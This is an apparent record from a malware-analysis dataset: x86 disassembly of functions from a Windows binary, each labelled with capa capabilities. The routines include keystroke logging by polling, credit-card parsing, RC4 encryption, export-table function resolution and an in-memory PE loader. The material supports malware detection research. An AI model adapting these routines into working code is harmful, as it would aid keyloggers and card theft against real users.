joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10027170
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100a507e
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x100d0320]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 3
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x10]
add eax, 0x48
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x14]
call fcn.10020a30
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x24], ecx
mov byte [ebp - 4], 5
mov byte [ebp - 4], 6
mov byte [ebp - 4], 2
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x10]
add edx, 0x30
mov dword [ebp - 0x18], edx
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x18]
call fcn.10020a30
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 8
mov byte [ebp - 4], 9
mov byte [ebp - 4], 1
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 0x18
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x1c]
call fcn.10020a30
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], edx
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 0xc
mov byte [ebp - 4], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0xd
mov ecx, dword [ebp - 0x20]
call fcn.10020a30
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 4], 0xe
mov dword [ebp - 4], 0xf
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x10028a10
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov eax, 0x80
mov word [ebp - 0x1c], ax
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [ebp - 8], ax
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [ebp - 4], ax
push 0x12
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [ebp - 0xc], ax
movsx ecx, word [ebp - 4]
shr ecx, 8
and ecx, 0xff
movzx edx, cl
and edx, 0x80
mov word [ebp - 0x10], dx
movsx eax, word [ebp - 8]
shr eax, 8
and eax, 0xff
movzx ecx, al
and ecx, 0x80
mov word [ebp - 0x14], cx
movsx edx, word [ebp - 0xc]
shr edx, 8
and edx, 0xff
movzx eax, dl
and eax, 0x80
mov word [ebp - 0x18], ax
movsx ecx, word [ebp - 0x10]
cmp ecx, 0x80
je 0x10028ab5
movsx edx, word [ebp - 0x14]
cmp edx, 0x80
je 0x10028ab5
movsx eax, word [ebp - 0x18]
cmp eax, 0x80
jne 0x10028abb
mov al, 1
jmp 0x10028abd
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x10029630
Capabilities:
Log keystrokes via polling
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
movsx eax, byte [ebp - 1]
test eax, eax
je 0x10029786
movzx ecx, byte [ebp - 1]
push ecx
call dword [sym.imp.USER32.dll_VkKeyScanA]
mov word [ebp - 8], ax
movsx edx, byte [ebp - 1]
cmp edx, 0x41
jl 0x10029678
movsx eax, byte [ebp - 1]
cmp eax, 0x5a
jle 0x10029740
movsx ecx, byte [ebp - 1]
cmp ecx, 0x5f
je 0x10029740
movsx edx, byte [ebp - 1]
cmp edx, 0x3a
je 0x10029740
movsx eax, byte [ebp - 1]
cmp eax, 0x3c
je 0x10029740
movsx ecx, byte [ebp - 1]
cmp ecx, 0x3e
je 0x10029740
movsx edx, byte [ebp - 1]
cmp edx, 0x3f
je 0x10029740
movsx eax, byte [ebp - 1]
cmp eax, 0x2b
je 0x10029740
movsx ecx, byte [ebp - 1]
cmp ecx, 0x7b
je 0x10029740
movsx edx, byte [ebp - 1]
cmp edx, 0x7d
je 0x10029740
movsx eax, byte [ebp - 1]
cmp eax, 0x7c
je 0x10029740
movsx ecx, byte [ebp - 1]
cmp ecx, 0x21
je 0x10029740
movsx edx, byte [ebp - 1]
cmp edx, 0x40
je 0x10029740
movsx eax, byte [ebp - 1]
cmp eax, 0x23
je 0x10029740
movsx ecx, byte [ebp - 1]
cmp ecx, 0x24
je 0x10029740
movsx edx, byte [ebp - 1]
cmp edx, 0x25
je 0x10029740
movsx eax, byte [ebp - 1]
cmp eax, 0x5e
je 0x10029740
movsx ecx, byte [ebp - 1]
cmp ecx, 0x26
je 0x10029740
movsx edx, byte [ebp - 1]
cmp edx, 0x2a
je 0x10029740
movsx eax, byte [ebp - 1]
cmp eax, 0x28
je 0x10029740
movsx ecx, byte [ebp - 1]
cmp ecx, 0x29
je 0x10029740
movsx edx, byte [ebp - 1]
cmp edx, 0x22
jne 0x10029757
push 0
push 0
push 1
push 0x10
mov ecx, dword [ebp - 0xc]
call fcn.100298d0
mov eax, dword [ebp - 0xc]
mov byte [eax + 2], 1
push 0
push 1
push 1
movzx ecx, word [ebp - 8]
and ecx, 0xff
push ecx
mov ecx, dword [ebp - 0xc]
call fcn.100298d0
mov ecx, dword [ebp - 0xc]
call fcn.100295a0
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
jmp 0x1002963f
mov esp, ebp
pop ebp
ret 4
Function at 0x100298d0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100a5be8
mov eax, dword fs:[0]
push eax
sub esp, 0xec
mov eax, dword [0x100d0320]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x44], 0
xor eax, eax
mov word [ebp - 0x30], ax
mov byte [ebp - 0x29], 0
mov byte [ebp - 0x31], 0
push 1
lea ecx, [ebp - 0xf8]
call fcn.10004ca0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.10005430
mov byte [ebp - 4], 1
push 0
movzx ecx, byte [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
and eax, 0xff
mov byte [ebp - 0x29], al
mov edx, 1
mov word [ebp - 0x30], dx
jmp 0x1002995f
mov ax, word [ebp - 0x30]
add ax, 1
mov word [ebp - 0x30], ax
movzx ecx, word [ebp - 0x30]
movzx edx, word [ebp + 0xc]
cmp ecx, edx
jg 0x100299d3
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1002997b
mov ecx, dword [ebp - 0x38]
call fcn.10028af0
movzx ecx, byte [ebp + 8]
push ecx
call fcn.100294a0
add esp, 4
movzx edx, al
test edx, edx
je 0x10029998
mov dword [ebp - 0x40], 1
jmp 0x1002999f
mov dword [ebp - 0x40], 0
mov eax, dword [ebp - 0x40]
push eax
movzx ecx, byte [ebp - 0x29]
push ecx
movzx edx, byte [ebp + 8]
push edx
mov ecx, dword [ebp - 0x38]
call fcn.100294e0
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x100299d1
push 3
movzx ecx, byte [ebp - 0x29]
push ecx
movzx edx, byte [ebp + 8]
push edx
mov ecx, dword [ebp - 0x38]
call fcn.100294e0
jmp 0x10029953
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.10020a30
mov byte [ebp - 4], 0
lea eax, [ebp - 0x28]
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 3
mov byte [ebp - 4], 4
mov byte [ebp - 4], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x90]
call fcn.10006950
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
mov dword [edx], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], 5
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x3c]
mov dword [eax], vtable.std::ios_base.0
mov ecx, dword [ebp - 0x3c]
push ecx
call fcn.100320aa
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004d440
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10029a60
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
push 0
movzx eax, byte [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
and eax, 0xff
mov byte [ebp - 1], al
movzx ecx, byte [ebp + 8]
push ecx
call fcn.100294a0
add esp, 4
movzx edx, al
test edx, edx
je 0x10029a9b
mov dword [ebp - 8], 1
jmp 0x10029aa2
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
or eax, 2
push eax
movzx ecx, byte [ebp - 1]
push ecx
movzx edx, byte [ebp + 8]
push edx
mov ecx, dword [ebp - 0xc]
call fcn.100294e0
mov esp, ebp
pop ebp
ret 4
Function at 0x1004c69a
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.100742a3
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x1004c6d9
sub eax, 1
je 0x1004c6d4
sub eax, 1
je 0x1004c6d0
xor eax, eax
leave
ret
push 3
jmp 0x1004c6db
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret

Function at 0x100877c4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100873bc

Function at 0x100912d1
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10090c8f

Function at 0x1009ce16
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1009ccea

Function at 0x1009e300
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1009e32d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1009e32d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10137a46
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101999d0]
jne 0x10137a50
repz ret
jmp fcn.10138c61

Function at 0x10139e2b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10137057
and dword [ebp - 4], 0
cmp dword [0x1019b4e4], 0
mov ebx, eax
jne 0x10139edc
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10139f8d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x10139f8d
push eax
call fcn.10136fe5
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1019b4e4], eax
call esi
push eax
call fcn.10136fe5
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1019b4e8], eax
call esi
push eax
call fcn.10136fe5
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1019b4ec], eax
call esi
push eax
call fcn.10136fe5
pop ecx
mov dword [0x1019b4f4], eax
test eax, eax
je 0x10139edc
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10136fe5
pop ecx
mov dword [0x1019b4f0], eax
mov eax, dword [0x1019b4f0]
cmp eax, ebx
je 0x10139f34
cmp dword [0x1019b4f4], ebx
je 0x10139f34
push eax
call fcn.10137060
push dword [0x1019b4f4]
mov esi, eax
call fcn.10137060
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10139f34
test edi, edi
je 0x10139f34
call esi
test eax, eax
je 0x10139f2b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10139f2b
test byte [ebp - 0xc], 1
jne 0x10139f34
or dword [ebp + 0x10], 0x200000
jmp 0x10139f6d
mov eax, dword [0x1019b4e8]
cmp eax, ebx
je 0x10139f6d
push eax
call fcn.10137060
pop ecx
test eax, eax
je 0x10139f6d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10139f6d
mov eax, dword [0x1019b4ec]
cmp eax, ebx
je 0x10139f6d
push eax
call fcn.10137060
pop ecx
test eax, eax
je 0x10139f6d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1019b4e4]
call fcn.10137060
pop ecx
test eax, eax
je 0x10139f8d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10139f8f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1013b187
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10199224], 0
mov byte [0x10199228], 0
mov dword [0x1019921c], 0xdd8
mov dword [0x10199218], 0x1867
mov dword [0x10199220], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1013b210
mov eax, 0x1c52
xor ecx, ecx
mov dword [0x10199218], 0x1c52
mov dword [0x10199220], 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jmp 0x1013b238
mov eax, dword [ebp - 0x28]
add eax, 0xffffef7b
mov dword [0x10199218], eax
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10199220]
add eax, 1
mov dword [0x10199220], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1013b210
jmp 0x1013b1d8
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0x100
add ecx, 0xfffff22e
mov dword [0x1019922c], 0
mov dword [ebp - 0x2c], eax
xor esi, esi
mov dword [ebp - 0x30], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x10199224]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1019922c], esi
mov dword [0x10199218], ecx
mov eax, esi
cdq
mov ecx, dword [ebp - 0x30]
idiv ecx
mov dword [0x10199224], edx
mov esi, dword [ebp - 0x2c]
mov cl, byte [ebx + esi]
mov byte [0x10199228], cl
mov dword [0x10199218], 0x1300
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x10199228]
mov edx, dword [0x10199224]
mov byte [ebx + edx], cl
mov edx, dword [0x1019921c]
mov ecx, edx
add ecx, 0xfffff3f9
mov dword [0x10199218], ecx
mov esi, dword [0x10199220]
add esi, 1
mov dword [0x10199220], esi
cmp esi, 0x100
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], esi
jl 0x1013b238
jmp 0x1013b1fb
Function at 0x1013b302
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x1019921c], 0xbaf
mov dword [0x10199218], 0x77a
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1017ebac]
mov dh, byte [eax + 0x1017eb7d]
sub dh, dl
mov byte [ebp + eax - 0x20], dh
cmp ecx, 0xe
mov dword [ebp - 0x2c], ecx
jne 0x1013b32d
lea eax, [ebp - 0x20]
mov dword [0x1019921c], 0x8c2
mov dword [0x10199218], 0x2310
mov dword [ebp - 0x30], eax
call fcn.1013b0bb
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.1013acf3
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
je 0x1013b448
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x10199218]
add ecx, 0xffffee8b
mov dword [0x10199218], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.1013b8e3
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x1019921c], 0x322
mov dword [ecx + 0xd0], 0x4550
mov dword [0x10199218], 0xfb1
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 0x30], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 4], ecx
cmp ecx, 0
mov dword [ebp - 0x38], eax
je 0x1013b448
mov eax, dword [0x1019921c]
mov ecx, dword [ebp - 0x3c]
add ecx, 0x1dbd
add eax, 0xfffff237
mov dword [0x10199218], eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
add esp, 0x4c
pop ebp
ret
Function at 0x1013b755
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1019921c]
add eax, 0xfffffd5c
mov dword [0x1019921c], eax
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x10199218], 0x2650
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x1019921c], 0x129
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x1013b7f7
mov eax, dword [ebp - 0x14]
mov ecx, 0x35f0
mov dword [0x10199218], 0x1fdb
mov edx, dword [ebp - 0xc]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
je 0x1013b829
jmp 0x1013b8ce
mov eax, 0x29da
mov dword [0x10199218], 0x13c5
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x1c], eax
je 0x1013b88c
jmp 0x1013b8ce
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], edx
je 0x1013b7a4
mov eax, dword [ebp - 0x20]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
jl 0x1013b7f7
jmp 0x1013b7a4
mov eax, 0x199d
mov dword [0x10199218], 0x388
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x1c], eax
jne 0x1013b8ce
mov eax, 0x199d
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x1c], eax
jne 0x1013b8ce
mov eax, 0xfffff9e7
mov dword [0x10199218], 0xffffe3d2
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x1c], eax
je 0x1013b7cd
jmp 0x1013b8ce
mov eax, 0x29da
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x1013b8ce
mov eax, 0x29da
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x1013b8ce
mov eax, 1
mov dword [0x1019921c], 0xfa2
mov dword [ebp - 0x24], eax
jmp 0x1013b8db
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov dword [0x10199218], eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
add esp, 0x24
pop ebp
ret
Function at 0x1013bd31
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1013bfa4
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov esi, dword [eax + esi + 0x78]
mov dword [0x10199218], 0xda3
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x1019921c], 0xffffecc6
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x1013be7f
jmp 0x1013bde1
mov al, byte [ebp - 0x25]
test al, 1
jne 0x1013be50
jmp 0x1013be26
mov eax, dword [ebp - 0x2c]
mov ecx, eax
mov edx, dword [ebp - 0x30]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x35], bh
mov byte [ebp - 0x25], cl
je 0x1013bd8a
jmp 0x1013bdf5
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edx
jmp 0x1013bd9a
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], eax
jmp 0x1013bdc5
mov eax, dword [ebp - 0x34]
add eax, 1
mov cl, byte [ebp - 0x35]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x25]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x2c], eax
jne 0x1013bd9a
jmp 0x1013bd8a
xor eax, eax
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov edx, dword [ebp - 0x48]
add edx, 2
mov esi, dword [ebp - 0x18]
cmp ecx, esi
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x24], eax
jb 0x1013bdc5
jmp 0x1013be7f
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x10199218], 0x47ea
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [0x1019921c], 0x114b
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1013c12e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x10199220], 0
mov dword [0x10199224], 0
mov dword [0x10199230], 0
mov dword [0x10199218], 0x2bc
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x1013c289
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov edi, eax
add edi, 1
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x10199220], edx
mov dword [0x10199218], 0x97e
mov ecx, dword [ebp - 0x20]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x30]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x10199224], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x10199228], cl
mov ebx, dword [0x1019921c]
add ebx, 0xfffff27d
mov dword [0x10199218], ebx
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x10199228]
mov edx, dword [0x10199224]
mov byte [ebx + edx], cl
mov edx, dword [0x10199220]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x10199224]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x10199230], ecx
mov dword [0x10199218], 0x2e2
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
xor cl, byte [edx + esi]
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], cl
mov dword [0x10199218], 0x130b
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x38], edi
je 0x1013c289
mov eax, dword [0x10199220]
mov ecx, dword [0x10199224]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], edx
jmp 0x1013c191
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1013c291
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [0x10199218], 0x1b4a
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1013ba21
lea ecx, [0x1013ae77]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x50], edx
mov dword [esp + 0x30], 0x157200
mov dword [0x1019921c], 0x894
mov edx, dword [0x10199204]
mov dword [esp + 0x64], edx
mov edx, dword [0x10199208]
mov dword [esp + 0x78], edx
mov edx, dword [0x1019920c]
mov dword [esp + 0x40], edx
mov edx, dword [0x10199210]
mov dword [esp + 0x68], edx
mov edx, dword [0x10199214]
mov dword [esp + 0x7c], edx
mov dword [0x10199218], 0x1e0a
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x1013c373
mov eax, dword [esp + 0x10]
mov dword [esp + 0x6c], eax
mov dword [0x1019921c], 0xe2d
mov dword [0x10199218], 0xf67
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x48], edx
call fcn.1013b755
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
je 0x1013c396
jmp 0x1013c3ca
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x1013c321
jmp 0x1013c382
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
je 0x1013c35d
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1013c373
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1013b302
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x1019921c], 0x5b1
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov esp, ebp
pop ebp
ret